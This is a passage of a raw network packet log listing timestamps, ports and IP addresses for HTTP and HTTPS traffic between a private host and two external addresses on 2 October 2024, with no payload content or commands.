Oct 2, 2024 17:17:22.022834063 CEST	80	65273	46.8.231.109	192.168.2.6
Oct 2, 2024 17:17:22.022845030 CEST	80	65273	46.8.231.109	192.168.2.6
Oct 2, 2024 17:17:22.022855997 CEST	80	65273	46.8.231.109	192.168.2.6
Oct 2, 2024 17:17:22.022869110 CEST	80	65273	46.8.231.109	192.168.2.6
Oct 2, 2024 17:17:22.022877932 CEST	80	65273	46.8.231.109	192.168.2.6
Oct 2, 2024 17:17:22.022882938 CEST	65273	80	192.168.2.6	46.8.231.109
Oct 2, 2024 17:17:22.022926092 CEST	65273	80	192.168.2.6	46.8.231.109
Oct 2, 2024 17:17:22.022965908 CEST	80	65273	46.8.231.109	192.168.2.6
Oct 2, 2024 17:17:22.023000956 CEST	65273	80	192.168.2.6	46.8.231.109
Oct 2, 2024 17:17:22.023025036 CEST	80	65273	46.8.231.109	192.168.2.6
Oct 2, 2024 17:17:22.023036003 CEST	80	65273	46.8.231.109	192.168.2.6
Oct 2, 2024 17:17:22.023050070 CEST	80	65273	46.8.231.109	192.168.2.6
Oct 2, 2024 17:17:22.023058891 CEST	65273	80	192.168.2.6	46.8.231.109
Oct 2, 2024 17:17:22.023066998 CEST	80	65273	46.8.231.109	192.168.2.6
Oct 2, 2024 17:17:22.023077011 CEST	65273	80	192.168.2.6	46.8.231.109
Oct 2, 2024 17:17:22.023080111 CEST	80	65273	46.8.231.109	192.168.2.6
Oct 2, 2024 17:17:22.023092985 CEST	65273	80	192.168.2.6	46.8.231.109
Oct 2, 2024 17:17:22.023092985 CEST	80	65273	46.8.231.109	192.168.2.6
Oct 2, 2024 17:17:22.023108959 CEST	80	65273	46.8.231.109	192.168.2.6
Oct 2, 2024 17:17:22.023112059 CEST	65273	80	192.168.2.6	46.8.231.109
Oct 2, 2024 17:17:22.023139954 CEST	65273	80	192.168.2.6	46.8.231.109
Oct 2, 2024 17:17:22.024750948 CEST	80	65273	46.8.231.109	192.168.2.6
Oct 2, 2024 17:17:22.024792910 CEST	65273	80	192.168.2.6	46.8.231.109
Oct 2, 2024 17:17:22.024806023 CEST	80	65273	46.8.231.109	192.168.2.6
Oct 2, 2024 17:17:22.024820089 CEST	80	65273	46.8.231.109	192.168.2.6
Oct 2, 2024 17:17:22.024847031 CEST	65273	80	192.168.2.6	46.8.231.109
Oct 2, 2024 17:17:22.024849892 CEST	80	65273	46.8.231.109	192.168.2.6
Oct 2, 2024 17:17:22.024863958 CEST	65273	80	192.168.2.6	46.8.231.109
Oct 2, 2024 17:17:22.024887085 CEST	65273	80	192.168.2.6	46.8.231.109
Oct 2, 2024 17:17:22.024945021 CEST	80	65273	46.8.231.109	192.168.2.6
Oct 2, 2024 17:17:22.024956942 CEST	80	65273	46.8.231.109	192.168.2.6
Oct 2, 2024 17:17:22.024969101 CEST	80	65273	46.8.231.109	192.168.2.6
Oct 2, 2024 17:17:22.024981022 CEST	80	65273	46.8.231.109	192.168.2.6
Oct 2, 2024 17:17:22.024992943 CEST	80	65273	46.8.231.109	192.168.2.6
Oct 2, 2024 17:17:22.024992943 CEST	65273	80	192.168.2.6	46.8.231.109
Oct 2, 2024 17:17:22.025028944 CEST	65273	80	192.168.2.6	46.8.231.109
Oct 2, 2024 17:17:22.025032043 CEST	80	65273	46.8.231.109	192.168.2.6
Oct 2, 2024 17:17:22.025043964 CEST	80	65273	46.8.231.109	192.168.2.6
Oct 2, 2024 17:17:22.025055885 CEST	80	65273	46.8.231.109	192.168.2.6
Oct 2, 2024 17:17:22.025068045 CEST	80	65273	46.8.231.109	192.168.2.6
Oct 2, 2024 17:17:22.025078058 CEST	65273	80	192.168.2.6	46.8.231.109
Oct 2, 2024 17:17:22.025094032 CEST	65273	80	192.168.2.6	46.8.231.109
Oct 2, 2024 17:17:22.025120974 CEST	65273	80	192.168.2.6	46.8.231.109
Oct 2, 2024 17:17:22.086688042 CEST	65273	80	192.168.2.6	46.8.231.109
Oct 2, 2024 17:17:22.091564894 CEST	80	65273	46.8.231.109	192.168.2.6
Oct 2, 2024 17:17:22.260097980 CEST	80	65273	46.8.231.109	192.168.2.6
Oct 2, 2024 17:17:22.260174036 CEST	80	65273	46.8.231.109	192.168.2.6
Oct 2, 2024 17:17:22.260186911 CEST	80	65273	46.8.231.109	192.168.2.6
Oct 2, 2024 17:17:22.260184050 CEST	65273	80	192.168.2.6	46.8.231.109
Oct 2, 2024 17:17:22.260222912 CEST	80	65273	46.8.231.109	192.168.2.6
Oct 2, 2024 17:17:22.260231018 CEST	65273	80	192.168.2.6	46.8.231.109
Oct 2, 2024 17:17:22.260241985 CEST	65273	80	192.168.2.6	46.8.231.109
Oct 2, 2024 17:17:22.260258913 CEST	80	65273	46.8.231.109	192.168.2.6
Oct 2, 2024 17:17:22.260263920 CEST	65273	80	192.168.2.6	46.8.231.109
Oct 2, 2024 17:17:22.260297060 CEST	80	65273	46.8.231.109	192.168.2.6
Oct 2, 2024 17:17:22.260309935 CEST	65273	80	192.168.2.6	46.8.231.109
Oct 2, 2024 17:17:22.260333061 CEST	80	65273	46.8.231.109	192.168.2.6
Oct 2, 2024 17:17:22.260335922 CEST	65273	80	192.168.2.6	46.8.231.109
Oct 2, 2024 17:17:22.260370016 CEST	80	65273	46.8.231.109	192.168.2.6
Oct 2, 2024 17:17:22.260371923 CEST	65273	80	192.168.2.6	46.8.231.109
Oct 2, 2024 17:17:22.260411978 CEST	65273	80	192.168.2.6	46.8.231.109
Oct 2, 2024 17:17:22.260775089 CEST	80	65273	46.8.231.109	192.168.2.6
Oct 2, 2024 17:17:22.260817051 CEST	65273	80	192.168.2.6	46.8.231.109
Oct 2, 2024 17:17:22.260826111 CEST	80	65273	46.8.231.109	192.168.2.6
Oct 2, 2024 17:17:22.260863066 CEST	80	65273	46.8.231.109	192.168.2.6
Oct 2, 2024 17:17:22.260871887 CEST	65273	80	192.168.2.6	46.8.231.109
Oct 2, 2024 17:17:22.260902882 CEST	65273	80	192.168.2.6	46.8.231.109
Oct 2, 2024 17:17:22.260914087 CEST	80	65273	46.8.231.109	192.168.2.6
Oct 2, 2024 17:17:22.260979891 CEST	80	65273	46.8.231.109	192.168.2.6
Oct 2, 2024 17:17:22.260982037 CEST	65273	80	192.168.2.6	46.8.231.109
Oct 2, 2024 17:17:22.261013985 CEST	80	65273	46.8.231.109	192.168.2.6
Oct 2, 2024 17:17:22.261018991 CEST	65273	80	192.168.2.6	46.8.231.109
Oct 2, 2024 17:17:22.261050940 CEST	80	65273	46.8.231.109	192.168.2.6
Oct 2, 2024 17:17:22.261055946 CEST	65273	80	192.168.2.6	46.8.231.109
Oct 2, 2024 17:17:22.261080980 CEST	80	65273	46.8.231.109	192.168.2.6
Oct 2, 2024 17:17:22.261090040 CEST	65273	80	192.168.2.6	46.8.231.109
Oct 2, 2024 17:17:22.261121035 CEST	65273	80	192.168.2.6	46.8.231.109
Oct 2, 2024 17:17:22.261135101 CEST	80	65273	46.8.231.109	192.168.2.6
Oct 2, 2024 17:17:22.261173010 CEST	65273	80	192.168.2.6	46.8.231.109
Oct 2, 2024 17:17:22.261184931 CEST	80	65273	46.8.231.109	192.168.2.6
Oct 2, 2024 17:17:22.261224985 CEST	65273	80	192.168.2.6	46.8.231.109
Oct 2, 2024 17:17:22.261234999 CEST	80	65273	46.8.231.109	192.168.2.6
Oct 2, 2024 17:17:22.261267900 CEST	80	65273	46.8.231.109	192.168.2.6
Oct 2, 2024 17:17:22.261308908 CEST	65273	80	192.168.2.6	46.8.231.109
Oct 2, 2024 17:17:22.261316061 CEST	80	65273	46.8.231.109	192.168.2.6
Oct 2, 2024 17:17:22.261348009 CEST	80	65273	46.8.231.109	192.168.2.6
Oct 2, 2024 17:17:22.261375904 CEST	65273	80	192.168.2.6	46.8.231.109
Oct 2, 2024 17:17:22.261380911 CEST	80	65273	46.8.231.109	192.168.2.6
Oct 2, 2024 17:17:22.261385918 CEST	65273	80	192.168.2.6	46.8.231.109
Oct 2, 2024 17:17:22.261416912 CEST	80	65273	46.8.231.109	192.168.2.6
Oct 2, 2024 17:17:22.261457920 CEST	80	65273	46.8.231.109	192.168.2.6
Oct 2, 2024 17:17:22.261459112 CEST	65273	80	192.168.2.6	46.8.231.109
Oct 2, 2024 17:17:22.261466026 CEST	80	65273	46.8.231.109	192.168.2.6
Oct 2, 2024 17:17:22.261492968 CEST	65273	80	192.168.2.6	46.8.231.109
Oct 2, 2024 17:17:22.261503935 CEST	80	65273	46.8.231.109	192.168.2.6
Oct 2, 2024 17:17:22.261518002 CEST	65273	80	192.168.2.6	46.8.231.109
Oct 2, 2024 17:17:22.261538982 CEST	80	65273	46.8.231.109	192.168.2.6
Oct 2, 2024 17:17:22.261573076 CEST	80	65273	46.8.231.109	192.168.2.6
Oct 2, 2024 17:17:22.261585951 CEST	65273	80	192.168.2.6	46.8.231.109
Oct 2, 2024 17:17:22.261605978 CEST	80	65273	46.8.231.109	192.168.2.6
Oct 2, 2024 17:17:22.261620998 CEST	65273	80	192.168.2.6	46.8.231.109
Oct 2, 2024 17:17:22.261642933 CEST	80	65273	46.8.231.109	192.168.2.6
Oct 2, 2024 17:17:22.261660099 CEST	65273	80	192.168.2.6	46.8.231.109
Oct 2, 2024 17:17:22.261677027 CEST	80	65273	46.8.231.109	192.168.2.6
Oct 2, 2024 17:17:22.261682987 CEST	65273	80	192.168.2.6	46.8.231.109
Oct 2, 2024 17:17:22.261719942 CEST	80	65273	46.8.231.109	192.168.2.6
Oct 2, 2024 17:17:22.261739969 CEST	65273	80	192.168.2.6	46.8.231.109
Oct 2, 2024 17:17:22.261753082 CEST	80	65273	46.8.231.109	192.168.2.6
Oct 2, 2024 17:17:22.261755943 CEST	65273	80	192.168.2.6	46.8.231.109
Oct 2, 2024 17:17:22.261789083 CEST	80	65273	46.8.231.109	192.168.2.6
Oct 2, 2024 17:17:22.261790991 CEST	65273	80	192.168.2.6	46.8.231.109
Oct 2, 2024 17:17:22.261823893 CEST	80	65273	46.8.231.109	192.168.2.6
Oct 2, 2024 17:17:22.261826992 CEST	65273	80	192.168.2.6	46.8.231.109
Oct 2, 2024 17:17:22.261866093 CEST	65273	80	192.168.2.6	46.8.231.109
Oct 2, 2024 17:17:22.262072086 CEST	80	65273	46.8.231.109	192.168.2.6
Oct 2, 2024 17:17:22.262100935 CEST	80	65273	46.8.231.109	192.168.2.6
Oct 2, 2024 17:17:22.262118101 CEST	65273	80	192.168.2.6	46.8.231.109
Oct 2, 2024 17:17:22.262135983 CEST	65273	80	192.168.2.6	46.8.231.109
Oct 2, 2024 17:17:22.262150049 CEST	80	65273	46.8.231.109	192.168.2.6
Oct 2, 2024 17:17:22.262183905 CEST	80	65273	46.8.231.109	192.168.2.6
Oct 2, 2024 17:17:22.262188911 CEST	65273	80	192.168.2.6	46.8.231.109
Oct 2, 2024 17:17:22.262217045 CEST	80	65273	46.8.231.109	192.168.2.6
Oct 2, 2024 17:17:22.262250900 CEST	80	65273	46.8.231.109	192.168.2.6
Oct 2, 2024 17:17:22.262255907 CEST	65273	80	192.168.2.6	46.8.231.109
Oct 2, 2024 17:17:22.262285948 CEST	80	65273	46.8.231.109	192.168.2.6
Oct 2, 2024 17:17:22.262298107 CEST	65273	80	192.168.2.6	46.8.231.109
Oct 2, 2024 17:17:22.262327909 CEST	65273	80	192.168.2.6	46.8.231.109
Oct 2, 2024 17:17:22.262341022 CEST	80	65273	46.8.231.109	192.168.2.6
Oct 2, 2024 17:17:22.262376070 CEST	80	65273	46.8.231.109	192.168.2.6
Oct 2, 2024 17:17:22.262387037 CEST	65273	80	192.168.2.6	46.8.231.109
Oct 2, 2024 17:17:22.262425900 CEST	80	65273	46.8.231.109	192.168.2.6
Oct 2, 2024 17:17:22.262459993 CEST	80	65273	46.8.231.109	192.168.2.6
Oct 2, 2024 17:17:22.262470007 CEST	65273	80	192.168.2.6	46.8.231.109
Oct 2, 2024 17:17:22.262499094 CEST	65273	80	192.168.2.6	46.8.231.109
Oct 2, 2024 17:17:22.262511969 CEST	80	65273	46.8.231.109	192.168.2.6
Oct 2, 2024 17:17:22.262541056 CEST	80	65273	46.8.231.109	192.168.2.6
Oct 2, 2024 17:17:22.262552977 CEST	65273	80	192.168.2.6	46.8.231.109
Oct 2, 2024 17:17:22.262582064 CEST	65273	80	192.168.2.6	46.8.231.109
Oct 2, 2024 17:17:22.262592077 CEST	80	65273	46.8.231.109	192.168.2.6
Oct 2, 2024 17:17:22.262625933 CEST	80	65273	46.8.231.109	192.168.2.6
Oct 2, 2024 17:17:22.262658119 CEST	80	65273	46.8.231.109	192.168.2.6
Oct 2, 2024 17:17:22.262666941 CEST	65273	80	192.168.2.6	46.8.231.109
Oct 2, 2024 17:17:22.262696028 CEST	65273	80	192.168.2.6	46.8.231.109
Oct 2, 2024 17:17:22.262710094 CEST	80	65273	46.8.231.109	192.168.2.6
Oct 2, 2024 17:17:22.262742996 CEST	80	65273	46.8.231.109	192.168.2.6
Oct 2, 2024 17:17:22.262746096 CEST	65273	80	192.168.2.6	46.8.231.109
Oct 2, 2024 17:17:22.262779951 CEST	80	65273	46.8.231.109	192.168.2.6
Oct 2, 2024 17:17:22.262780905 CEST	65273	80	192.168.2.6	46.8.231.109
Oct 2, 2024 17:17:22.262811899 CEST	80	65273	46.8.231.109	192.168.2.6
Oct 2, 2024 17:17:22.262814045 CEST	65273	80	192.168.2.6	46.8.231.109
Oct 2, 2024 17:17:22.262845993 CEST	80	65273	46.8.231.109	192.168.2.6
Oct 2, 2024 17:17:22.262849092 CEST	65273	80	192.168.2.6	46.8.231.109
Oct 2, 2024 17:17:22.262878895 CEST	80	65273	46.8.231.109	192.168.2.6
Oct 2, 2024 17:17:22.262883902 CEST	65273	80	192.168.2.6	46.8.231.109
Oct 2, 2024 17:17:22.262912989 CEST	80	65273	46.8.231.109	192.168.2.6
Oct 2, 2024 17:17:22.262918949 CEST	65273	80	192.168.2.6	46.8.231.109
Oct 2, 2024 17:17:22.262948036 CEST	80	65273	46.8.231.109	192.168.2.6
Oct 2, 2024 17:17:22.262953043 CEST	65273	80	192.168.2.6	46.8.231.109
Oct 2, 2024 17:17:22.262983084 CEST	80	65273	46.8.231.109	192.168.2.6
Oct 2, 2024 17:17:22.262986898 CEST	65273	80	192.168.2.6	46.8.231.109
Oct 2, 2024 17:17:22.263015032 CEST	80	65273	46.8.231.109	192.168.2.6
Oct 2, 2024 17:17:22.263032913 CEST	80	65273	46.8.231.109	192.168.2.6
Oct 2, 2024 17:17:22.263052940 CEST	65273	80	192.168.2.6	46.8.231.109
Oct 2, 2024 17:17:22.263065100 CEST	80	65273	46.8.231.109	192.168.2.6
Oct 2, 2024 17:17:22.263078928 CEST	65273	80	192.168.2.6	46.8.231.109
Oct 2, 2024 17:17:22.263102055 CEST	80	65273	46.8.231.109	192.168.2.6
Oct 2, 2024 17:17:22.263106108 CEST	65273	80	192.168.2.6	46.8.231.109
Oct 2, 2024 17:17:22.263135910 CEST	80	65273	46.8.231.109	192.168.2.6
Oct 2, 2024 17:17:22.263139009 CEST	65273	80	192.168.2.6	46.8.231.109
Oct 2, 2024 17:17:22.263173103 CEST	65273	80	192.168.2.6	46.8.231.109
Oct 2, 2024 17:17:22.263185024 CEST	80	65273	46.8.231.109	192.168.2.6
Oct 2, 2024 17:17:22.263221979 CEST	65273	80	192.168.2.6	46.8.231.109
Oct 2, 2024 17:17:22.263233900 CEST	80	65273	46.8.231.109	192.168.2.6
Oct 2, 2024 17:17:22.263272047 CEST	65273	80	192.168.2.6	46.8.231.109
Oct 2, 2024 17:17:22.263283014 CEST	80	65273	46.8.231.109	192.168.2.6
Oct 2, 2024 17:17:22.263318062 CEST	80	65273	46.8.231.109	192.168.2.6
Oct 2, 2024 17:17:22.263322115 CEST	65273	80	192.168.2.6	46.8.231.109
Oct 2, 2024 17:17:22.263355017 CEST	65273	80	192.168.2.6	46.8.231.109
Oct 2, 2024 17:17:22.263366938 CEST	80	65273	46.8.231.109	192.168.2.6
Oct 2, 2024 17:17:22.263411999 CEST	65273	80	192.168.2.6	46.8.231.109
Oct 2, 2024 17:17:22.263423920 CEST	80	65273	46.8.231.109	192.168.2.6
Oct 2, 2024 17:17:22.263456106 CEST	80	65273	46.8.231.109	192.168.2.6
Oct 2, 2024 17:17:22.263469934 CEST	65273	80	192.168.2.6	46.8.231.109
Oct 2, 2024 17:17:22.263484955 CEST	80	65273	46.8.231.109	192.168.2.6
Oct 2, 2024 17:17:22.263495922 CEST	65273	80	192.168.2.6	46.8.231.109
Oct 2, 2024 17:17:22.263524055 CEST	65273	80	192.168.2.6	46.8.231.109
Oct 2, 2024 17:17:22.263535976 CEST	80	65273	46.8.231.109	192.168.2.6
Oct 2, 2024 17:17:22.263576984 CEST	65273	80	192.168.2.6	46.8.231.109
Oct 2, 2024 17:17:22.263585091 CEST	80	65273	46.8.231.109	192.168.2.6
Oct 2, 2024 17:17:22.263624907 CEST	65273	80	192.168.2.6	46.8.231.109
Oct 2, 2024 17:17:22.263628006 CEST	80	65273	46.8.231.109	192.168.2.6
Oct 2, 2024 17:17:22.263654947 CEST	80	65273	46.8.231.109	192.168.2.6
Oct 2, 2024 17:17:22.263657093 CEST	65273	80	192.168.2.6	46.8.231.109
Oct 2, 2024 17:17:22.263688087 CEST	80	65273	46.8.231.109	192.168.2.6
Oct 2, 2024 17:17:22.263701916 CEST	65273	80	192.168.2.6	46.8.231.109
Oct 2, 2024 17:17:22.263725042 CEST	80	65273	46.8.231.109	192.168.2.6
Oct 2, 2024 17:17:22.263752937 CEST	80	65273	46.8.231.109	192.168.2.6
Oct 2, 2024 17:17:22.263753891 CEST	65273	80	192.168.2.6	46.8.231.109
Oct 2, 2024 17:17:22.263772011 CEST	65273	80	192.168.2.6	46.8.231.109
Oct 2, 2024 17:17:22.263792038 CEST	65273	80	192.168.2.6	46.8.231.109
Oct 2, 2024 17:17:22.263794899 CEST	80	65273	46.8.231.109	192.168.2.6
Oct 2, 2024 17:17:22.263840914 CEST	80	65273	46.8.231.109	192.168.2.6
Oct 2, 2024 17:17:22.263871908 CEST	80	65273	46.8.231.109	192.168.2.6
Oct 2, 2024 17:17:22.263879061 CEST	65273	80	192.168.2.6	46.8.231.109
Oct 2, 2024 17:17:22.263879061 CEST	65273	80	192.168.2.6	46.8.231.109
Oct 2, 2024 17:17:22.263905048 CEST	80	65273	46.8.231.109	192.168.2.6
Oct 2, 2024 17:17:22.263932943 CEST	65273	80	192.168.2.6	46.8.231.109
Oct 2, 2024 17:17:22.263955116 CEST	80	65273	46.8.231.109	192.168.2.6
Oct 2, 2024 17:17:22.263956070 CEST	65273	80	192.168.2.6	46.8.231.109
Oct 2, 2024 17:17:22.264015913 CEST	80	65273	46.8.231.109	192.168.2.6
Oct 2, 2024 17:17:22.264046907 CEST	65273	80	192.168.2.6	46.8.231.109
Oct 2, 2024 17:17:22.264050007 CEST	80	65273	46.8.231.109	192.168.2.6
Oct 2, 2024 17:17:22.264066935 CEST	65273	80	192.168.2.6	46.8.231.109
Oct 2, 2024 17:17:22.264089108 CEST	80	65273	46.8.231.109	192.168.2.6
Oct 2, 2024 17:17:22.264118910 CEST	65273	80	192.168.2.6	46.8.231.109
Oct 2, 2024 17:17:22.264127016 CEST	80	65273	46.8.231.109	192.168.2.6
Oct 2, 2024 17:17:22.264137030 CEST	80	65273	46.8.231.109	192.168.2.6
Oct 2, 2024 17:17:22.264137983 CEST	65273	80	192.168.2.6	46.8.231.109
Oct 2, 2024 17:17:22.264162064 CEST	65273	80	192.168.2.6	46.8.231.109
Oct 2, 2024 17:17:22.264168978 CEST	80	65273	46.8.231.109	192.168.2.6
Oct 2, 2024 17:17:22.264173031 CEST	65273	80	192.168.2.6	46.8.231.109
Oct 2, 2024 17:17:22.264203072 CEST	80	65273	46.8.231.109	192.168.2.6
Oct 2, 2024 17:17:22.264204979 CEST	65273	80	192.168.2.6	46.8.231.109
Oct 2, 2024 17:17:22.264235973 CEST	80	65273	46.8.231.109	192.168.2.6
Oct 2, 2024 17:17:22.264239073 CEST	65273	80	192.168.2.6	46.8.231.109
Oct 2, 2024 17:17:22.264270067 CEST	80	65273	46.8.231.109	192.168.2.6
Oct 2, 2024 17:17:22.264276981 CEST	65273	80	192.168.2.6	46.8.231.109
Oct 2, 2024 17:17:22.264302969 CEST	80	65273	46.8.231.109	192.168.2.6
Oct 2, 2024 17:17:22.264306068 CEST	65273	80	192.168.2.6	46.8.231.109
Oct 2, 2024 17:17:22.264336109 CEST	80	65273	46.8.231.109	192.168.2.6
Oct 2, 2024 17:17:22.264342070 CEST	65273	80	192.168.2.6	46.8.231.109
Oct 2, 2024 17:17:22.264369011 CEST	80	65273	46.8.231.109	192.168.2.6
Oct 2, 2024 17:17:22.264373064 CEST	65273	80	192.168.2.6	46.8.231.109
Oct 2, 2024 17:17:22.264403105 CEST	80	65273	46.8.231.109	192.168.2.6
Oct 2, 2024 17:17:22.264406919 CEST	65273	80	192.168.2.6	46.8.231.109
Oct 2, 2024 17:17:22.264437914 CEST	80	65273	46.8.231.109	192.168.2.6
Oct 2, 2024 17:17:22.264440060 CEST	65273	80	192.168.2.6	46.8.231.109
Oct 2, 2024 17:17:22.264476061 CEST	65273	80	192.168.2.6	46.8.231.109
Oct 2, 2024 17:17:22.264477015 CEST	80	65273	46.8.231.109	192.168.2.6
Oct 2, 2024 17:17:22.264506102 CEST	80	65273	46.8.231.109	192.168.2.6
Oct 2, 2024 17:17:22.264538050 CEST	80	65273	46.8.231.109	192.168.2.6
Oct 2, 2024 17:17:22.264544010 CEST	65273	80	192.168.2.6	46.8.231.109
Oct 2, 2024 17:17:22.264571905 CEST	80	65273	46.8.231.109	192.168.2.6
Oct 2, 2024 17:17:22.264574051 CEST	65273	80	192.168.2.6	46.8.231.109
Oct 2, 2024 17:17:22.264604092 CEST	80	65273	46.8.231.109	192.168.2.6
Oct 2, 2024 17:17:22.264614105 CEST	65273	80	192.168.2.6	46.8.231.109
Oct 2, 2024 17:17:22.264638901 CEST	80	65273	46.8.231.109	192.168.2.6
Oct 2, 2024 17:17:22.264645100 CEST	65273	80	192.168.2.6	46.8.231.109
Oct 2, 2024 17:17:22.264672041 CEST	80	65273	46.8.231.109	192.168.2.6
Oct 2, 2024 17:17:22.264677048 CEST	65273	80	192.168.2.6	46.8.231.109
Oct 2, 2024 17:17:22.264705896 CEST	80	65273	46.8.231.109	192.168.2.6
Oct 2, 2024 17:17:22.264708042 CEST	65273	80	192.168.2.6	46.8.231.109
Oct 2, 2024 17:17:22.264739037 CEST	80	65273	46.8.231.109	192.168.2.6
Oct 2, 2024 17:17:22.264758110 CEST	65273	80	192.168.2.6	46.8.231.109
Oct 2, 2024 17:17:22.264772892 CEST	80	65273	46.8.231.109	192.168.2.6
Oct 2, 2024 17:17:22.264776945 CEST	65273	80	192.168.2.6	46.8.231.109
Oct 2, 2024 17:17:22.264806986 CEST	80	65273	46.8.231.109	192.168.2.6
Oct 2, 2024 17:17:22.264810085 CEST	65273	80	192.168.2.6	46.8.231.109
Oct 2, 2024 17:17:22.264841080 CEST	80	65273	46.8.231.109	192.168.2.6
Oct 2, 2024 17:17:22.264846087 CEST	65273	80	192.168.2.6	46.8.231.109
Oct 2, 2024 17:17:22.264873981 CEST	80	65273	46.8.231.109	192.168.2.6
Oct 2, 2024 17:17:22.264882088 CEST	65273	80	192.168.2.6	46.8.231.109
Oct 2, 2024 17:17:22.264908075 CEST	80	65273	46.8.231.109	192.168.2.6
Oct 2, 2024 17:17:22.264921904 CEST	65273	80	192.168.2.6	46.8.231.109
Oct 2, 2024 17:17:22.264940977 CEST	80	65273	46.8.231.109	192.168.2.6
Oct 2, 2024 17:17:22.264950037 CEST	65273	80	192.168.2.6	46.8.231.109
Oct 2, 2024 17:17:22.264977932 CEST	80	65273	46.8.231.109	192.168.2.6
Oct 2, 2024 17:17:22.264982939 CEST	65273	80	192.168.2.6	46.8.231.109
Oct 2, 2024 17:17:22.265012026 CEST	80	65273	46.8.231.109	192.168.2.6
Oct 2, 2024 17:17:22.265017033 CEST	65273	80	192.168.2.6	46.8.231.109
Oct 2, 2024 17:17:22.265045881 CEST	80	65273	46.8.231.109	192.168.2.6
Oct 2, 2024 17:17:22.265048981 CEST	65273	80	192.168.2.6	46.8.231.109
Oct 2, 2024 17:17:22.265079021 CEST	80	65273	46.8.231.109	192.168.2.6
Oct 2, 2024 17:17:22.265085936 CEST	65273	80	192.168.2.6	46.8.231.109
Oct 2, 2024 17:17:22.265113115 CEST	80	65273	46.8.231.109	192.168.2.6
Oct 2, 2024 17:17:22.265116930 CEST	65273	80	192.168.2.6	46.8.231.109
Oct 2, 2024 17:17:22.265146017 CEST	80	65273	46.8.231.109	192.168.2.6
Oct 2, 2024 17:17:22.265151024 CEST	65273	80	192.168.2.6	46.8.231.109
Oct 2, 2024 17:17:22.265182018 CEST	80	65273	46.8.231.109	192.168.2.6
Oct 2, 2024 17:17:22.265183926 CEST	65273	80	192.168.2.6	46.8.231.109
Oct 2, 2024 17:17:22.265218973 CEST	65273	80	192.168.2.6	46.8.231.109
Oct 2, 2024 17:17:22.270951033 CEST	443	65278	104.21.16.12	192.168.2.6
Oct 2, 2024 17:17:22.271198988 CEST	443	65278	104.21.16.12	192.168.2.6
Oct 2, 2024 17:17:22.271337032 CEST	65278	443	192.168.2.6	104.21.16.12
Oct 2, 2024 17:17:22.349020004 CEST	80	65273	46.8.231.109	192.168.2.6
Oct 2, 2024 17:17:22.349062920 CEST	80	65273	46.8.231.109	192.168.2.6
Oct 2, 2024 17:17:22.349091053 CEST	80	65273	46.8.231.109	192.168.2.6
Oct 2, 2024 17:17:22.349117041 CEST	80	65273	46.8.231.109	192.168.2.6
Oct 2, 2024 17:17:22.349132061 CEST	65273	80	192.168.2.6	46.8.231.109
Oct 2, 2024 17:17:22.349147081 CEST	80	65273	46.8.231.109	192.168.2.6
Oct 2, 2024 17:17:22.349174976 CEST	80	65273	46.8.231.109	192.168.2.6
Oct 2, 2024 17:17:22.349186897 CEST	65273	80	192.168.2.6	46.8.231.109
Oct 2, 2024 17:17:22.349205017 CEST	80	65273	46.8.231.109	192.168.2.6
Oct 2, 2024 17:17:22.349234104 CEST	80	65273	46.8.231.109	192.168.2.6
Oct 2, 2024 17:17:22.349239111 CEST	65273	80	192.168.2.6	46.8.231.109
Oct 2, 2024 17:17:22.349271059 CEST	65273	80	192.168.2.6	46.8.231.109
Oct 2, 2024 17:17:22.349298954 CEST	65273	80	192.168.2.6	46.8.231.109
Oct 2, 2024 17:17:22.349575996 CEST	80	65273	46.8.231.109	192.168.2.6
Oct 2, 2024 17:17:22.349631071 CEST	80	65273	46.8.231.109	192.168.2.6
Oct 2, 2024 17:17:22.349663019 CEST	80	65273	46.8.231.109	192.168.2.6
Oct 2, 2024 17:17:22.349675894 CEST	65273	80	192.168.2.6	46.8.231.109
Oct 2, 2024 17:17:22.349706888 CEST	65273	80	192.168.2.6	46.8.231.109
Oct 2, 2024 17:17:22.349713087 CEST	80	65273	46.8.231.109	192.168.2.6
Oct 2, 2024 17:17:22.349745989 CEST	80	65273	46.8.231.109	192.168.2.6
Oct 2, 2024 17:17:22.349759102 CEST	65273	80	192.168.2.6	46.8.231.109
Oct 2, 2024 17:17:22.349796057 CEST	80	65273	46.8.231.109	192.168.2.6
Oct 2, 2024 17:17:22.349801064 CEST	65273	80	192.168.2.6	46.8.231.109
Oct 2, 2024 17:17:22.349841118 CEST	65273	80	192.168.2.6	46.8.231.109
Oct 2, 2024 17:17:22.349847078 CEST	80	65273	46.8.231.109	192.168.2.6
Oct 2, 2024 17:17:22.349880934 CEST	80	65273	46.8.231.109	192.168.2.6
Oct 2, 2024 17:17:22.349889040 CEST	65273	80	192.168.2.6	46.8.231.109
Oct 2, 2024 17:17:22.349914074 CEST	80	65273	46.8.231.109	192.168.2.6
Oct 2, 2024 17:17:22.349921942 CEST	65273	80	192.168.2.6	46.8.231.109
Oct 2, 2024 17:17:22.349947929 CEST	80	65273	46.8.231.109	192.168.2.6
Oct 2, 2024 17:17:22.349955082 CEST	65273	80	192.168.2.6	46.8.231.109
Oct 2, 2024 17:17:22.349991083 CEST	65273	80	192.168.2.6	46.8.231.109
Oct 2, 2024 17:17:22.349992037 CEST	80	65273	46.8.231.109	192.168.2.6
Oct 2, 2024 17:17:22.350034952 CEST	65273	80	192.168.2.6	46.8.231.109
Oct 2, 2024 17:17:22.350043058 CEST	80	65273	46.8.231.109	192.168.2.6
Oct 2, 2024 17:17:22.350075006 CEST	80	65273	46.8.231.109	192.168.2.6
Oct 2, 2024 17:17:22.350085020 CEST	65273	80	192.168.2.6	46.8.231.109
Oct 2, 2024 17:17:22.350107908 CEST	80	65273	46.8.231.109	192.168.2.6
Oct 2, 2024 17:17:22.350116968 CEST	65273	80	192.168.2.6	46.8.231.109
Oct 2, 2024 17:17:22.350141048 CEST	80	65273	46.8.231.109	192.168.2.6
Oct 2, 2024 17:17:22.350156069 CEST	65273	80	192.168.2.6	46.8.231.109
Oct 2, 2024 17:17:22.350172997 CEST	80	65273	46.8.231.109	192.168.2.6
Oct 2, 2024 17:17:22.350183964 CEST	65273	80	192.168.2.6	46.8.231.109
Oct 2, 2024 17:17:22.350203037 CEST	80	65273	46.8.231.109	192.168.2.6
Oct 2, 2024 17:17:22.350214958 CEST	65273	80	192.168.2.6	46.8.231.109
Oct 2, 2024 17:17:22.350236893 CEST	80	65273	46.8.231.109	192.168.2.6
Oct 2, 2024 17:17:22.350250006 CEST	65273	80	192.168.2.6	46.8.231.109
Oct 2, 2024 17:17:22.350270033 CEST	80	65273	46.8.231.109	192.168.2.6
Oct 2, 2024 17:17:22.350279093 CEST	65273	80	192.168.2.6	46.8.231.109
